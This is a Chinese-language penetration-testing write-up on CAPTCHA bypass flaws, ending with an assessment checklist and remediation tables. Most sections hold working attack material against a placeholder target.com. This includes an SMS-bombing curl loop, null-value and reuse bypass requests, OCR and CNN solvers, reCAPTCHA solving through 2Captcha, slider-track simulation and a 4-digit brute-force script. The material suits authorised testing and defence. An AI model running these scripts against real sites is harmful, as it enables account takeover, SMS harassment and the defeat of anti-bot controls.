研究日期 :2026-07-08漏洞类型 :逻辑漏洞 / 业务安全风险等级 :中危 ~ 高危(取决于利用场景)核心原则 :验证码只是一种减缓手段,不能作为唯一的安全防线
目录
一、验证码概述与分类 1.1 什么是验证码 验证码(CAPTCHA:Completely Automated Public Turing test to tell Computers and Humans Apart)是一种用于区分人类用户和自动化程序的挑战-响应测试 机制。其核心目标是防止自动化脚本对 Web 应用进行恶意操作,如暴力破解、批量注册、垃圾信息提交等。
1.2 验证码分类
类别
类型
说明
安全强度
图形验证码
字符扭曲
数字/字母扭曲变形,加干扰线/噪点
★★☆
图形验证码
数学运算
显示算式,要求用户计算结果
★☆☆
图形验证码
图片选择
从多张图片中选择特定目标(如交通灯)
★★★
滑块验证码
拖动拼图
拖动滑块将拼图块对齐到缺口位置
★★★★
滑块验证码
拖动轨迹
检测鼠标拖动轨迹是否为人类行为
★★★★
行为验证码
点选文字
按顺序点击文字中的特定字符
★★★★
行为验证码
旋转图片
将图片旋转至正确角度
★★★
短信验证码
数字 OTP
发送到手机的 4-6 位数字验证码
★★★★
邮箱验证码
链接/数字
通过邮箱发送的验证链接或数字码
★★★
语音验证码
语音播报
通过电话语音播报验证码
★★★
reCAPTCHA
v2/v3
Google 风控系统,v3 无感验证
★★★★★
1.3 常见验证码产品
产品
类型
提供商
常见场景
reCAPTCHA v2
图片选择 + 复选框
登录/注册保护
reCAPTCHA v3
无感行为评分
风控系统
极验 (Geetest)
滑块 + 点选 + 行为
国内主流
阿里云 Captcha
滑块 + 点选 + 旋转
阿里云
腾讯云 Captcha
滑块 + 点选 + 九宫格
腾讯云
百度云 Captcha
滑块 + 点选 + 旋转
百度云
顶象 (Dingxiang)
滑块 + 点选 + 无感
反爬虫
自定义图形验证码
字符图形
自研
中小型网站
二、验证码漏洞全景 2.1 漏洞分类矩阵 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 ┌─────────────────────────────────────────────────────────────────┐ │ 验证码绕过漏洞全景 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ 一、前端验证绕过 │ │ ├─ 1.1 仅有前端验证(JS 验证,后端无校验) │ │ └─ 1.2 前端验证结果可被篡改(响应包修改) │ │ │ │ 二、逻辑缺陷绕过 │ │ ├─ 2.1 验证码未校验(随意输入也能通过) │ │ ├─ 2.2 验证码可复用(同一验证码多次使用) │ │ ├─ 2.3 验证码空值绕过(删除验证码参数) │ │ ├─ 2.4 验证码未绑定会话(用完即弃) │ │ ├─ 2.5 验证码未绑定操作(验证成功后修改操作对象) │ │ └─ 2.6 验证码有效期过长(长时间有效) │ │ │ │ 三、暴力破解绕过 │ │ ├─ 3.1 短验证码爆破(4 位数字可单机爆破) │ │ ├─ 3.2 长验证码多端爆破(6 位并行攻击) │ │ └─ 3.3 无频率限制(不限制尝试次数) │ │ │ │ 四、自动化识别绕过 │ │ ├─ 4.1 OCR 识别(Tesseract / 自训练模型) │ │ ├─ 4.2 机器学习识别(CNN / ResNet 等) │ │ └─ 4.3 打码平台(2Captcha / 打码兔 / 超人打码) │ │ │ │ 五、高级验证码绕过 │ │ ├─ 5.1 滑块验证码轨迹模拟 │ │ ├─ 5.2 极验验证码逆向 │ │ ├─ 5.3 reCAPTCHA 绕过自动化服务 │ │ └─ 5.4 验证码 Token 泄露 / 回显 │ │ │ └─────────────────────────────────────────────────────────────────┘
2.2 漏洞危害等级
漏洞类型
危害等级
典型后果
前端验证绕过
🔴 高危
完全绕过验证码,可任意自动化操作
验证码未校验
🔴 高危
验证码形同虚设
验证码可复用
🟡 中危
单次通过后可重复使用
验证码空值绕过
🔴 高危
删除参数即可绕过
验证码爆破
🟡 中危
短码可爆破,长码难度大
短信轰炸
🔴 高危
无频率限制导致短信资费损失
验证码回显
🟡 中危
响应包中泄露验证码原文
验证码未绑定
🟡 中危
可更换操作对象
三、前端验证绕过 3.1 仅有前端验证(JS 验证) 漏洞原理 :验证码的校验逻辑完全在浏览器端 JavaScript 中实现,后端未做任何验证。攻击者可以:
直接抓包重放 — 绕过前端 JS 校验
禁用浏览器 JS — 验证码验证代码不执行
修改响应包 — 将验证失败改为验证成功
检测方法 :
利用方法 :
1 2 3 4 5 6 7 8 9 10 11 12 13 # 直接抓包,删除验证码参数,重放即可 POST /login HTTP/1.1 Host : target.comContent-Type : application/x-www-form-urlencodedusername=admin &password =admin123&captcha=任意值 # 或直接删除 captcha 参数 POST /login HTTP/1.1 Host: target.com Content-Type : application/x-www-form-urlencoded username=admin &password =admin123
3.2 前端验证结果可篡改 漏洞原理 :验证码的验证结果通过前端返回(如 JSON 响应中的 success: true/false),攻击者可以修改响应包绕过。
1 2 3 4 5 6 7 8 9 10 11 # 原始响应(验证失败) HTTP/1.1 200 OKContent-Type : application/json{"success" : false , "msg" : "验证码错误" } HTTP/1.1 200 OK Content-Type: application /json {"success" : true , "msg" : "验证码正确" }
利用方式 :使用 BurpSuite 的 Intercept Server Response 功能,拦截响应并修改。
四、逻辑缺陷绕过 4.1 验证码未校验 漏洞原理 :虽然前端有验证码输入框,但后端未对验证码进行任何校验,任意输入均可通过。
1 2 3 4 5 6 # 无论输入什么验证码,都能登录成功 POST /login HTTP/1.1 Host : target.comContent-Type : application/x-www-form-urlencodedusername = admin&password =admin123&captcha =随便输
4.2 验证码可复用 漏洞原理 :验证码在服务端验证成功后未标记为”已使用”,导致同一个验证码可以多次重复使用。
1 2 3 4 5 6 7 # 第一次请求(获取验证码 + 验证成功) GET /captcha?t=123456 → 返回验证码图片 "ABCD" POST /login HTTP/1.1 → captcha=ABCD → 登录成功 # 第二次请求(复用同一个验证码) POST /login HTTP/1.1 → captcha=ABCD → 仍然登录成功 POST /login HTTP/1.1 → captcha=ABCD → 仍然登录成功(无限次)
利用方式 :
手动获取一次验证码
使用 BurpSuite Intruder 进行爆破,所有请求复用同一个验证码值
观察哪些请求成功通过验证
4.3 验证码空值绕过 漏洞原理 :后端对验证码参数的处理逻辑不严谨,当验证码参数为空或不存在时,校验逻辑直接跳过。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # 正常请求 POST /login HTTP/1.1 Content-Type : application/x-www-form-urlencodedusername=admin &password =admin123&captcha=ABCD # 空值绕过(删除 captcha 参数) POST /login HTTP/1.1 Content-Type : application/x-www-form-urlencoded username=admin &password =admin123 # 空值绕过(captcha 参数为空) POST /login HTTP/1.1 Content-Type : application/x-www-form-urlencoded username=admin &password =admin123&captcha= # 空值绕过(captcha=null 或 captcha=undefined) POST /login HTTP/1.1 Content-Type : application/x-www-form-urlencoded username=admin &password =admin123&captcha=null
4.4 验证码未绑定会话 漏洞原理 :验证码与用户 Session 未绑定,攻击者可以自己获取一个有效验证码,然后在其他会话中使用。
1 2 3 4 5 6 7 8 9 # 攻击者 A 获取验证码 GET /captcha → 返回图片 "EFGH"(SessionID: AAAA) # 攻击者 B 使用 A 的验证码 POST /login HTTP/1.1 Cookie : JSESSIONID=BBBBContent-Type : application/x-www-form-urlencodedusername = admin&password =admin123&captcha =EFGH ← 使用 A 获取的验证码
利用方式 :
使用 Session A 获取验证码
创建 Session B,使用 Session A 的验证码值
如果 Session B 验证通过,则存在未绑定漏洞
4.5 验证码未绑定操作 漏洞原理 :服务器验证了验证码,但验证成功后未将验证码与特定操作(如密码重置、手机号修改)绑定。攻击者可以在验证成功后,通过修改请求参数操作用户 A 的账户。
1 2 3 4 5 6 7 8 9 10 11 12 # Step 1: 使用自己的手机号获取验证码 POST /send_code HTTP/1.1 Content-Type : application/json{"phone" : "13800000001" } ← 攻击者自己的手机号 POST /reset_password HTTP/1.1 Content-Type: application/json {"phone" : "13900000000" , "code" : "123456" , "new_password" : "hacked" }
4.6 验证码过期时间过长 漏洞原理 :验证码有效时间过长(如 30 分钟以上),给攻击者充足的爆破时间。
有效时长
安全等级
说明
< 60 秒
🟢 安全
短有效期内难以爆破
1-5 分钟
🟡 中危
4 位验证码理论上可爆破
5-30 分钟
🔴 高危
爆破窗口足够大
30 分钟以上
🔴 严重
验证码基本失效
4.7 验证码回显 漏洞原理 :验证码直接以明文形式存在于响应包中(如 HTML 页面、JSON 响应、Cookie 等)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 # 情况 1: 验证码在页面 HTML 中 GET /captcha_page HTTP/1.1 ... <img src="/captcha?t=123456"> <input type="hidden" name="captcha_code" value="ABCD"> ← 验证码明文 GET /api/captcha HTTP/1.1.. .{"code" : 0, "captcha" : "EFGH" , "img" : "/captcha/123456.png" } ← 验证码明文 HTTP/1.1 200 OK Set-Cookie: captcha_code =IJKL; Path =/ ← 验证码明文
4.8 短信验证码爆破 漏洞原理 :短信验证码通常为 4-6 位纯数字,且服务端未限制验证次数,攻击者可进行爆破。
爆破效率 :
验证码长度
组合数
单线程耗时
多线程(10)耗时
4 位数字
10,000
~5 分钟
~30 秒
5 位数字
100,000
~50 分钟
~5 分钟
6 位数字
1,000,000
~8 小时
~50 分钟
4 位字母+数字
1,679,616
~14 小时
~1.4 小时
4.9 短信轰炸 漏洞原理 :发送短信验证码的接口无频率限制,攻击者可无限次调用,导致目标手机收到大量短信,造成资费损失和骚扰。
1 2 3 4 5 for i in {1..1000}; do curl -X POST "https://target.com/send_code" \ -d "phone=13900000000" done
检测方法 :
对同一手机号连续发送 10 次以上验证码
观察是否还能继续发送
检查是否有频率限制或行为验证
五、OCR 与自动化识别绕过 5.1 Tesseract OCR 识别 Tesseract 是最常用的开源 OCR 引擎,适用于识别简单的字符型验证码。
1 2 3 4 5 6 7 8 9 10 11 12 13 apt-get install tesseract-ocr brew install tesseract tesseract captcha.png stdout tesseract captcha.png stdout -l eng --psm 7
PSM 模式说明 :
PSM
模式
适用场景
6
假设统一的文本块
标准文本
7
将图像视为单行文本
验证码
8
将图像视为单个词
短验证码
10
将图像视为单个字符
数字验证码
Python 集成 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import pytesseractfrom PIL import Image, ImageFilter, ImageEnhancedef ocr_captcha (image_path ): """OCR 识别验证码""" img = Image.open (image_path) img = img.convert('L' ) img = img.point(lambda x: 0 if x < 128 else 255 ) img = img.filter (ImageFilter.MedianFilter(size=3 )) code = pytesseract.image_to_string( img, config='--psm 7 -c tessedit_char_whitelist=0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ' ) return code.strip() print (ocr_captcha('captcha.png' ))
5.2 图像预处理提升识别率 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 """验证码图像预处理脚本""" import cv2import numpy as npfrom PIL import Imagedef preprocess_captcha (img_path, output_path='processed.png' ): """图像预处理流水线""" img = cv2.imread(img_path) gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY) blurred = cv2.GaussianBlur(gray, (3 , 3 ), 0 ) binary = cv2.adaptiveThreshold( blurred, 255 , cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV, 11 , 2 ) kernel = np.ones((2 , 2 ), np.uint8) denoised = cv2.morphologyEx(binary, cv2.MORPH_OPEN, kernel) dilated = cv2.dilate(denoised, kernel, iterations=1 ) edges = cv2.Canny(dilated, 30 , 150 ) cv2.imwrite(output_path, dilated) return output_path preprocess_captcha('captcha.png' , 'processed.png' )
5.3 深度学习模型训练 对于复杂的验证码(字符粘连、扭曲、干扰线密集),传统 OCR 效果不佳,需要训练 CNN 深度学习模型。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 """使用 CNN 训练验证码识别模型(简化版)""" import tensorflow as tffrom tensorflow import kerasfrom tensorflow.keras import layersdef build_captcha_model (height=60 , width=160 , num_chars=4 , char_set_size=36 ): """构建验证码识别 CNN 模型""" input_layer = keras.Input(shape=(height, width, 1 )) x = layers.Conv2D(32 , (3 , 3 ), activation='relu' , padding='same' )(input_layer) x = layers.MaxPooling2D((2 , 2 ))(x) x = layers.Conv2D(64 , (3 , 3 ), activation='relu' , padding='same' )(x) x = layers.MaxPooling2D((2 , 2 ))(x) x = layers.Conv2D(128 , (3 , 3 ), activation='relu' , padding='same' )(x) x = layers.MaxPooling2D((2 , 2 ))(x) x = layers.Flatten()(x) x = layers.Dropout(0.5 )(x) x = layers.Dense(512 , activation='relu' )(x) outputs = [] for i in range (num_chars): outputs.append(layers.Dense(char_set_size, activation='softmax' , name=f'char_{i} ' )(x)) model = keras.Model(inputs=input_layer, outputs=outputs) model.compile ( optimizer='adam' , loss='sparse_categorical_crossentropy' , metrics=['accuracy' ] ) return model model = build_captcha_model() model.summary()
5.4 打码平台接入 对于复杂的验证码(如极验、reCAPTCHA),直接使用打码平台是最便捷的方式。
平台
支持类型
价格
API 方式
2Captcha
reCAPTCHA v2/v3, 极验, 图形, 滑块
~$3/1000 次
HTTP API
打码兔
图形验证码, 滑块
按量计费
HTTP API
超人打码
图形验证码, reCAPTCHA
按量计费
HTTP API
数美打码
图形验证码, 极验
按量计费
HTTP API
EzCaptcha
reCAPTCHA, 极验, 滑块
按量计费
HTTP API + SDK
2Captcha 接入示例 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 """2Captcha API 接入示例""" import requestsimport timeclass CaptchaSolver : def __init__ (self, api_key ): self.api_key = api_key self.base_url = "https://2captcha.com" def solve_recaptcha_v2 (self, site_key, page_url ): """解决 reCAPTCHA v2""" resp = requests.post(f"{self.base_url} /in.php" , data={ "key" : self.api_key, "method" : "userrecaptcha" , "googlekey" : site_key, "pageurl" : page_url, "json" : 1 }) task_id = resp.json().get("request" ) for _ in range (60 ): time.sleep(5 ) result = requests.get(f"{self.base_url} /res.php" , params={ "key" : self.api_key, "action" : "get" , "id" : task_id, "json" : 1 }) if result.json().get("status" ) == 1 : return result.json().get("request" ) return None def solve_image_captcha (self, image_path ): """解决图形验证码""" with open (image_path, 'rb' ) as f: resp = requests.post(f"{self.base_url} /in.php" , data={ "key" : self.api_key, "method" : "post" , "json" : 1 }, files={"file" : f}) task_id = resp.json().get("request" ) for _ in range (30 ): time.sleep(3 ) result = requests.get(f"{self.base_url} /res.php" , params={ "key" : self.api_key, "action" : "get" , "id" : task_id, "json" : 1 }) if result.json().get("status" ) == 1 : return result.json().get("request" ) return None solver = CaptchaSolver("YOUR_API_KEY" ) token = solver.solve_recaptcha_v2("site_key" , "https://target.com" ) print (f"reCAPTCHA Token: {token} " )
六、高级验证码绕过 6.1 滑块验证码绕过 滑块验证码 (如极验 Geetest、阿里云滑块)是目前最流行的验证码类型,绕过方式包括:
方法一:轨迹模拟
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 """滑块验证码轨迹模拟""" import randomimport timedef generate_track (distance ): """ 生成人类化的鼠标拖动轨迹 distance: 拼图需要移动的距离(像素) """ track = [] current = 0 mid = distance * 3 / 4 t = 0.2 while current < distance: if current < mid: speed = random.uniform(2 , 4 ) else : speed = random.uniform(0.5 , 2 ) current += speed t += 0.01 + random.uniform(0 , 0.02 ) track.append({ "x" : round (current, 2 ), "y" : random.uniform(-2 , 2 ), "t" : round (t * 1000 ) }) track.append({ "x" : round (distance, 2 ), "y" : 0 , "t" : round (t * 1000 ) + random.randint(50 , 150 ) }) return track track = generate_track(258 ) print (track)
方法二:缺口识别(深度学习)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 """使用深度学习识别滑块验证码缺口位置""" import cv2import numpy as npdef find_gap (bg_path, slice_path ): """ 识别滑块验证码的缺口位置 bg_path: 带缺口的背景图路径 slice_path: 滑块拼图路径 """ bg = cv2.imread(bg_path, 0 ) slice_img = cv2.imread(slice_path, 0 ) bg_edges = cv2.Canny(bg, 100 , 200 ) slice_edges = cv2.Canny(slice_img, 100 , 200 ) result = cv2.matchTemplate(bg_edges, slice_edges, cv2.TM_CCOEFF_NORMED) _, _, _, max_loc = cv2.minMaxLoc(result) x, y = max_loc return x, y x, y = find_gap('captcha_bg.png' , 'captcha_slice.png' ) print (f"缺口位置: ({x} , {y} )" )
方法三:极验 API 逆向
6.2 reCAPTCHA 绕过 reCAPTCHA v3 使用无感评分机制 (0.0 ~ 1.0),分数低于阈值时触发验证。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 """reCAPTCHA 绕过服务接入""" import requestsclass RecaptchaBypass : """ 通过打码平台绕过 reCAPTCHA 支持 reCAPTCHA v2 (checkbox/invisible) 和 v3 """ def __init__ (self, api_key, service="2captcha" ): self.api_key = api_key self.service = service def solve_v2 (self, site_key, page_url ): """解决 reCAPTCHA v2""" if self.service == "2captcha" : return self._solve_2captcha(site_key, page_url) elif self.service == "capsolver" : return self._solve_capsolver(site_key, page_url) return None def _solve_2captcha (self, site_key, page_url ): """2Captcha 接入""" resp = requests.post("https://2captcha.com/in.php" , data={ "key" : self.api_key, "method" : "userrecaptcha" , "googlekey" : site_key, "pageurl" : page_url, "json" : 1 }) task_id = resp.json().get("request" ) import time for i in range (60 ): time.sleep(3 ) resp = requests.get("https://2captcha.com/res.php" , params={ "key" : self.api_key, "action" : "get" , "id" : task_id, "json" : 1 }) if resp.json().get("status" ) == 1 : return resp.json().get("request" ) return None bypass = RecaptchaBypass("YOUR_API_KEY" ) token = bypass.solve_v2("6Lc..." , "https://target.com" ) print (f"reCAPTCHA Token: {token} " )resp = requests.post("https://target.com/login" , data={ "username" : "admin" , "password" : "admin123" , "g-recaptcha-response" : token })
6.3 验证码 Token 泄露 漏洞原理 :验证码的验证结果通过 Token 返回,该 Token 在前端源码或响应中可获取。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <input type ="hidden" id ="captcha_token" value ="VERIFIED_TOKEN_ABCDEF123" > <script > var captchaPassed = true ;var captchaToken = "1234567890abcdef" ;</script > <script > fetch ('/verify_captcha?code=ABCD' ).then (r => r.json ()).then (data => { document .getElementById ('captcha_token' ).value = data.token ; }); </script >
利用方式 :
手动输入验证码,第一次通过验证
从页面中提取验证通过的 Token
在其他请求中复用该 Token
配合 BurpSuite Repeater 批量使用
6.4 验证码与业务解耦 漏洞原理 :验证码验证和业务操作分为两个独立的请求,但中间没有会话绑定,攻击者可以分离两者。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 # Step 1: 验证码验证(独立请求,返回 token) POST /api/verify_captcha HTTP/1.1 Content-Type : application/json{"code" : "ABCD" } {"success" : true , "token" : "captcha_token_123456" } POST /api/reset_password HTTP/1.1 Content-Type: application/json {"phone" : "13900000000" , "captcha_token" : "captcha_token_123456" , "new_password" : "hacked" }
七、工具链与自动化脚本 7.1 验证码扫描工具
7.2 ddddocr 快速识别 ddddocr 是目前最流行的 Python 深度学习验证码识别库,无需训练即可识别大多数图形验证码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 """使用 ddddocr 识别验证码""" import ddddocrocr = ddddocr.DdddOcr(det=False , show_ad=False ) with open ('captcha.png' , 'rb' ) as f: img_bytes = f.read() result = ocr.classification(img_bytes) print (f"识别结果: {result} " )det = ddddocr.DdddOcr(det=True , show_ad=False ) with open ('bg.png' , 'rb' ) as f: bg_bytes = f.read() with open ('slice.png' , 'rb' ) as f: slice_bytes = f.read() res = det.slide_match(slice_bytes, bg_bytes) print (f"缺口位置: {res} " )
7.3 通用验证码绕过自动化脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 """ 通用验证码绕过自动化检测脚本 功能: 检测验证码未校验、空值绕过、复用绕过 """ import requestsimport sysTARGET = "https://target.com" def test_captcha_bypass (login_url, captcha_param="captcha" ): """测试验证码绕过""" test_payloads = [ ("正常验证码" , "ABCD" ), ("空值" , "" ), ("删除参数" , None ), ("null" , "null" ), ("undefined" , "undefined" ), ("0" , "0" ), ("true" , "true" ), ("false" , "false" ), ("随机值" , "RANDOM123" ), ("复用验证码" , "ABCD" ), ] results = [] for name, value in test_payloads: data = {"username" : "admin" , "password" : "admin123" } if value is not None : data[captcha_param] = value try : r = requests.post(login_url, data=data, timeout=10 ) if r.status_code == 200 : if "success" in r.text.lower() or "登录成功" in r.text: results.append((name, "✅ 绕过成功" , value)) elif "验证码" not in r.text: results.append((name, "⚠️ 可能绕过(无验证码错误提示)" , value)) else : results.append((name, "❌ 被拦截" , value)) else : results.append((name, f"❌ HTTP {r.status_code} " , value)) except Exception as e: results.append((name, f"❌ 异常: {e} " , value)) return results results = test_captcha_bypass(f"{TARGET} /login" ) print (f"{'测试类型' :<15 } {'结果' :<20 } {'Payload' :<20 } " )print ("=" * 55 )for name, result, value in results: print (f"{name:<15 } {result:<20 } {str (value):<20 } " )
7.4 验证码批量爆破脚本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 """ 验证码爆破 + 密码爆破组合脚本 """ import requestsimport itertoolsimport stringimport threadingfrom queue import Queueclass CaptchaBruteForcer : """验证码爆破器""" def __init__ (self, target_url, captcha_url=None ): self.target_url = target_url self.captcha_url = captcha_url self.session = requests.Session() def get_captcha (self ): """获取验证码""" if not self.captcha_url: return None r = self.session.get(self.captcha_url) with open ('captcha.png' , 'wb' ) as f: f.write(r.content) return 'captcha.png' def brute_4digit (self, username="admin" , password="admin123" ): """爆破 4 位数字验证码""" for code in range (10000 ): data = { "username" : username, "password" : password, "captcha" : f"{code:04d} " } try : r = self.session.post(self.target_url, data=data, timeout=5 ) if "验证码错误" not in r.text: print (f"[+] 找到有效验证码: {code:04d} " ) print (f" 响应: {r.text[:100 ]} " ) return code except : pass if code % 1000 == 0 : print (f"[*] 已测试 {code} /10000" ) print ("[-] 未找到有效验证码" ) return None bf = CaptchaBruteForcer("https://target.com/login" ) bf.brute_4digit()
八、验证码安全评估 Checklist 8.1 通用检测清单
8.2 验证码强度评估表
维度
弱
中
强
字符类型
纯数字
数字+字母
数字+字母+特殊字符
字符长度
4 位以下
4-6 位
6 位以上
扭曲程度
无扭曲
轻度扭曲
重度扭曲+粘连
干扰元素
无
简单干扰线
复杂噪点+干扰线+颜色
有效期
30 分钟+
5-10 分钟
60 秒内
尝试限制
无限制
5 次后锁定
3 次后锁定+递增延迟
会话绑定
无绑定
绑定 Session
绑定 Session+IP+设备指纹
二次验证
无
关键操作验证
全链路验证
九、防御建议 🔴 P0 — 必须修复
措施
说明
后端必须校验验证码
验证码校验逻辑必须在服务端实现,禁止仅前端校验
验证码一次性使用
验证码验证成功后立即标记为已使用(无论验证是否成功)
验证码绑定会话
验证码必须与 Session / Token 绑定,禁止跨会话使用
验证码绑定操作
验证码验证成功后,应锁定操作对象(如手机号、邮箱)
验证码有时效性
验证码有效期不超过 60 秒
🟡 P1 — 尽快修复
措施
说明
尝试次数限制
验证码错误超过 3-5 次后锁定,递增延迟
频率限制
发送验证码接口限制:同一手机号 60 秒内只能发送 1 次
图形验证码前置
短信/邮箱验证码发送前,先通过图形或行为验证码
验证码复杂度
图形验证码使用 6 位以上字母+数字组合,加扭曲和干扰
响应不泄露验证码
响应包、Cookie、页面源码中禁止出现验证码明文
🟢 P2 — 建议优化
措施
说明
行为行为分析
集成行为验证码(如极验),检测鼠标轨迹、键盘输入等
设备指纹
结合设备指纹识别,提高自动化攻击门槛
IP 信誉分析
对代理 IP、IDC 机房 IP 进行额外验证
多维度风控
结合用户行为、设备、IP 等多维度构建风控模型
验证码降级
安全风险低时使用简单验证码,高风险时升级验证码强度
十、参考链接 漏洞分析
工具与开源项目
验证码产品
免责声明 :本文档仅供安全防御和授权测试参考。所有漏洞信息均来自公开渠道,请勿用于未授权的测试或攻击行为。使用者应遵守当地法律法规,后果自负。
核心原则 :验证码只是一种减缓手段,不能作为唯一的安全防线。真正的安全需要通过多维度风控体系实现。
生成时间 :2026-07-08